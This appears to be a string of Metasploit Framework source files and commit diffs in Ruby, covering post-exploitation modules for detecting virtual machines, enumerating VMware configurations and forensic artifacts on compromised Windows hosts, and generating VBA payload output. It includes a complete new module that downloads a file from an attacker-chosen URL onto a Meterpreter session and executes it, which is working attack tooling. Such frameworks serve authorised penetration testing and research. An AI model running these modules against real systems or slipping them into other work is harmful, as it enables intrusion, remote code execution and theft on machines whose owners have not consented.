res = session.fs.file.search(nil, "*.vmx", true, -1)
res.each do |vmx|
filename = "#{vmx['path']}\\#{vmx['name']}"
next if filename.end_with? ".vmxf"
begin
config = client.fs.file.new(filename,'r')
parse = config.read
vms << parse_vmx(parse,filename)
rescue
print_error "Could not read #{filename} properly"
end
end
return vms
end
def parse_vmx(vmx_data, filename)
vm= {}
unless vmx_data.nil? or vmx_data.empty?
vm['SharedFolders'] = []
vmx_data.each_line do |line|
data = line.split("=")
vm['path'] = filename
case data[0]
when "memsize "
vm['memsize'] = data[1].gsub!("\"",'').lstrip.chomp
when "displayName "
vm['name'] = data[1].gsub!("\"",'').lstrip.chomp
when "guestOS "
vm['os'] = data[1].gsub!("\"",'').lstrip.chomp
when "ethernet0.connectionType "
vm['eth_type'] = data[1].gsub!("\"",'').lstrip.chomp
when "ethernet0.generatedAddress "
vm['mac'] = data[1].gsub!("\"",'').lstrip.chomp
when "numvcpus "
vm['cpus'] = data[1].gsub!("\"",'').lstrip.chomp
when "sharedFolder0.hostPath "
vm['SharedFolders'] << data[1].gsub!("\"",'').lstrip.chomp
end
end
vm['cpus'] ||= "1"
end
return vm
end
def session_has_search_ext
begin
return !!(session.fs and session.fs.file)
rescue NoMethodError
return false
end
end
end

View File

@ -64,8 +64,10 @@ class Metasploit3 < Msf::Post
rescue
end
end
print_status("This is a Hyper-V Virtual Machine") if vm
return vm
if vm
print_status("This is a Hyper-V Virtual Machine")
return "MS Hyper-V"
end
end
# Method for checking if it is a VMware VM
@ -109,9 +111,10 @@ class Metasploit3 < Msf::Post
end
end
end
print_status("This is a VMware Virtual Machine") if vm
return vm
if vm
print_status("This is a VMware Virtual Machine")
return "VMWare"
end
end
# Method for checking if it is a Virtual PC VM
@ -144,8 +147,10 @@ class Metasploit3 < Msf::Post
rescue
end
end
print_status("This is a VirtualPC Virtual Machine") if vm
return vm
if vm
print_status("This is a VirtualPC Virtual Machine")
return "VirtualPC"
end
end
# Method for checking if it is a VirtualBox VM
@ -227,8 +232,10 @@ class Metasploit3 < Msf::Post
rescue
end
end
print_status("This is a Sun VirtualBox Virtual Machine") if vm
return vm
if vm
print_status("This is a Sun VirtualBox Virtual Machine")
return "VirtualBox"
end
end
# Method for checking if it is a Xen VM
@ -293,8 +300,10 @@ class Metasploit3 < Msf::Post
rescue
end
end
print_status("This is a Xen Virtual Machine") if vm
return vm
if vm
print_status("This is a Xen Virtual Machine")
return "Xen"
end
end
def qemuchk(session)
@ -320,18 +329,25 @@ class Metasploit3 < Msf::Post
end
end
return vm
if vm
return "Qemu/KVM"
end
end
# run Method
def run
print_status("Checking if #{sysinfo['Computer']} is a Virtual Machine .....")
found = hypervchk(session)
found = vmwarechk(session) if not found
found = checkvrtlpc(session) if not found
found = vboxchk(session) if not found
found = xenchk(session) if not found
found = qemuchk(session) if not found
print_status("It appears to be a physical host.") if not found
found ||= vmwarechk(session)
found ||= checkvrtlpc(session)
found ||= vboxchk(session)
found ||= xenchk(session)
found ||= qemuchk(session)
if found
report_vm(found)
else
print_status("#{sysinfo['Computer']} appears to be a Physical Machine")
end
end
end

View File

@ -130,9 +130,10 @@ class Metasploit3 < Msf::Post
@data_out += get_showwnd(hdr)
@data_out += get_lnk_MAC(hdr)
if shell_item_id_list(hdr)
# advance the file & offset
offset += 0x4c
if shell_item_id_list(hdr)
lnk_file.sysseek(offset, ::IO::SEEK_SET)
record = lnk_file.sysread(2)
offset += record.unpack('v')[0] + 2

View File

@ -9,6 +9,7 @@ require 'rex'
require 'msf/core'
require 'msf/core/post/file'
require 'msf/core/post/windows/registry'
require 'yaml'
class Metasploit3 < Msf::Post
@ -21,7 +22,7 @@ class Metasploit3 < Msf::Post
'Name' => 'Windows File and Registry Artifacts Enumeration',
'Description' => %q{
This module will check the file system and registry for particular artifacts. The
list of artifacts is read from data/post/artifacts or a user specified file. Any
list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any
matches are written to the loot. },
'License' => MSF_LICENSE,
'Author' => [ 'averagesecurityguy <stephen[at]averagesecurityguy.info>' ],
@ -42,8 +43,7 @@ class Metasploit3 < Msf::Post
def run
# Store any found artifacts so they can be written to loot
files_found = []
reg_found = []
evidence = {}
# Check artifacts file path
filename = datastore['ARTIFACTS']
@ -52,55 +52,59 @@ class Metasploit3 < Msf::Post
return
end
# Start enumerating
print_status("Processing artifacts file...")
file = ::File.open(filename, "rb")
file.each_line do |line|
line.strip!
next if line.length < 1
next if line[0,1] == "#"
# Load artifacts from yaml file. Artifacts are organized by what they
# are evidence of.
yaml = YAML::load_file(filename)
yaml.each_key do |key|
print_status("Searching for artifacts of #{key}")
files = yaml[key]['files']
regs = yaml[key]['reg_entries']
found = []
# Check registry
if line =~ /^reg/
type, reg_key, val, data = line.split("|")
reg_data = registry_getvaldata(reg_key, val)
if reg_data.to_s == data
reg_found << "#{reg_key}\\#{val}"
# Process file entries
vprint_status("Processing #{files.length.to_s} file entries for #{key}.")
files.each do |file|
digest = file_remote_digestmd5(file['name'])
# if the file doesn't exist then digest will be nil
next if digest == nil
if digest == file['csum'] then found << file['name'] end
end
# Process registry entries
vprint_status("Processing #{regs.length.to_s} registry entries for #{key}.")
regs.each do |reg|
rdata = registry_getvaldata(reg['key'], reg['val'])
if rdata.to_s == reg['data']
found << reg['key'] + '\\' + reg['val']
end
end
# Check file
if line =~ /^file/
type, file, hash = line.split("|")
digest = file_remote_digestmd5(file)
if digest == hash
files_found << file
end
end
end
# Reporting. In case the user wants to separte artifact types (file vs registry),
# we've already done it at this point.
if files_found.empty?
print_status("No file artifacts found")
# Did we find anything? If so store it in the evidence hash to be
# saved in the loot.
if found.empty?
print_status("No artifacts of #{key} found.")
else
save(files_found, "Enumerated File Artifacts")
print_status("Artifacts of #{key} found.")
evidence[key] = found
end
end
if reg_found.empty?
print_status("No registry artifacts found")
else
save(reg_found, "Enumerated Registry Artifacts")
end
save(evidence, "Enumerated Artifacts")
end
def save(data, name)
f = store_loot('enumerated.artifacts', 'text/plain', session, data.join("\n"), name)
str = ""
data.each_pair do |key, val|
str << "Evidence of #{key} found.\n"
val.each do |v|
str << "\t" + v + "\n"
end
end
f = store_loot('enumerated.artifacts', 'text/plain', session, str, name)
print_status("#{name} stored in: #{f}")
end
end
=begin
To-do: Use CSV or yaml format to store enum_artifacts_list.txt
=end

View File

@ -0,0 +1,139 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/common'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage Download and/or Execute",
'Description' => %q{
This module will download a file by importing urlmon via railgun.
The user may also choose to execute the file with arguments via exec_string.
},
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => ['RageLtMan']
))
register_options(
[
OptString.new('URL', [true, 'Full URL of file to download' ]),
OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]),
OptString.new('FILENAME', [false, 'Name for downloaded file' ]),
OptBool.new( 'OUTPUT', [true, 'Show execution output', true ]),
OptBool.new( 'EXECUTE', [true, 'Execute file after completion', false ]),
], self.class)
register_advanced_options(
[
OptString.new('EXEC_STRING', [false, 'Execution parameters when run from download directory' ]),
OptBool.new( 'DELETE', [true, 'Delete file after execution', false ]),
], self.class)
end
# Check to see if our dll is loaded, load and configure if not
def add_railgun_urlmon
if client.railgun.dlls.find_all {|d| d.first == 'urlmon'}.empty?
session.railgun.add_dll('urlmon','urlmon')
session.railgun.add_function(
'urlmon', 'URLDownloadToFileW', 'DWORD',
[
['PBLOB', 'pCaller', 'in'],
['PWCHAR','szURL','in'],
['PWCHAR','szFileName','in'],
['DWORD','dwReserved','in'],
['PBLOB','lpfnCB','inout']
])
vprint_good("urlmon loaded and configured")
else
vprint_status("urlmon already loaded")
end
end
def run
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if session.type != "meterpreter"
# get time
strtime = Time.now
# check/set vars
url = datastore["URL"]
filename = datastore["FILENAME"] || url.split('/').last
download_path = session.fs.file.expand_path(datastore["DOWNLOAD_PATH"])
if download_path.nil? or download_path.empty?
path = session.fs.file.expand_path("%TEMP%")
else
path = download_path
end
outpath = path + '\\' + filename
exec = datastore["EXECUTE"]
exec_string = datastore["EXEC_STRING"] || ''
output = datastore['OUTPUT']
remove = datastore['DELETE']
# set up railgun
add_railgun_urlmon
# get our file
vprint_status("Downloading #{url} to #{outpath}")
client.railgun.urlmon.URLDownloadToFileW(nil,url,outpath,0,nil)
# check our results
begin
out = session.fs.file.stat(outpath)
print_status("#{out.stathash['st_size']} bytes downloaded to #{outpath} in #{(Time.now - strtime).to_i} seconds ")
rescue
print_error("File not found. The download probably failed")
return
end
# Execute file upon request
if exec
begin
cmd = outpath + ' ' + exec_string
# If we don't have the following gsub, we get this error in Windows:
# "Operation failed: The system cannot find the file specified"
cmd = cmd.gsub(/\\/, '\\\\\\')
print_status("Executing file: #{cmd}")
res = cmd_exec(cmd)
print_good(res) if output and not res.empty?
rescue ::Exception => e
print_error("Unable to execute: #{e.message}")
end
end
# remove file if needed
if remove
begin
print_status("Deleting #{outpath}")
session.fs.file.rm(outpath)
rescue ::Exception => e
print_error("Unable to remove file: #{e.message}")
end
end
end
end

View File

@ -433,6 +433,9 @@ when /exe/i
$stdout.write exe
when /exe-small/i
when /vba/i
vba = Msf::Util::EXE.to_vba($framework, payload_raw)
$stdout.puts vba
when /vba-exe/i
exe = Msf::Util::EXE.to_win32pe($framework, payload_raw)
vba = Msf::Util::EXE.to_exe_vba(exe)
$stdout.puts vba

View File

@ -1,4 +1,3 @@
##
# $Id$
##
@ -12,9 +11,12 @@
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/railgun'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Railgun
def initialize(info={})
super( update_info( info,
'Name' => 'railgun_testing',
@ -28,26 +30,25 @@ class Metasploit3 < Msf::Post
[
OptInt.new("ERR_CODE" , [true, "Error code to reverse lookup", 0x420]),
OptInt.new("WIN_CONST", [true, "Windows constant to reverse lookup", 4]),
OptString.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", "^SERVICE"]),
OptString.new("ECREGEX", [false,"Regexp to apply to error code lookup", "^ERROR_SERVICE_"]),
OptRegexp.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", '^SERVICE']),
OptRegexp.new("ECREGEX", [false,"Regexp to apply to error code lookup", '^ERROR_SERVICE_']),
], self.class)
end
def run
print_debug datastore['ECREGEX']
print_status("Running against session #{datastore["SESSION"]}")
print_status("Session type is #{session.type}")
@rg = session.railgun
print_status()
print_status("TESTING: const_reverse_lookup on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
results = @rg.const_reverse_lookup(datastore['WIN_CONST'],datastore['WCREGEX'])
print_status("TESTING: select_const_names on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
results = select_const_names(datastore['WIN_CONST'],datastore['WCREGEX'])
print_status("RESULTS: #{results.class} #{results.pretty_inspect}")
print_status()
print_status("TESTING: error_lookup on #{datastore['ERR_CODE']} filtering by #{datastore['ECREGEX'].to_s}")
results = @rg.error_lookup(datastore['ERR_CODE'],datastore['ECREGEX'])
results = lookup_error(datastore['ERR_CODE'],datastore['ECREGEX'])
print_status("RESULTS: #{results.class} #{results.inspect}")
print_status()